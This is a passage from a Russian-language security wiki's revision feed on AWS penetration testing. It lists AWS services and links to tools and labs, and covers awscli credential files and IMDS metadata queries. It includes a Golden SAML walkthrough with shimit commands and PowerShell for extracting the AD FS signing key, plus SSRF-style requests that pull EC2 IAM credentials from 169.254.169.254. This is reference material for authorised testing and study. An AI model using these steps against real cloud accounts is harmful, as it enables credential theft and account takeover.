&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
[https://pentesting.cloud/ Free AWS Security Labs]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1215</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1215"/>
				<updated>2022-10-12T21:01:16Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Роли - повышение до админа */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
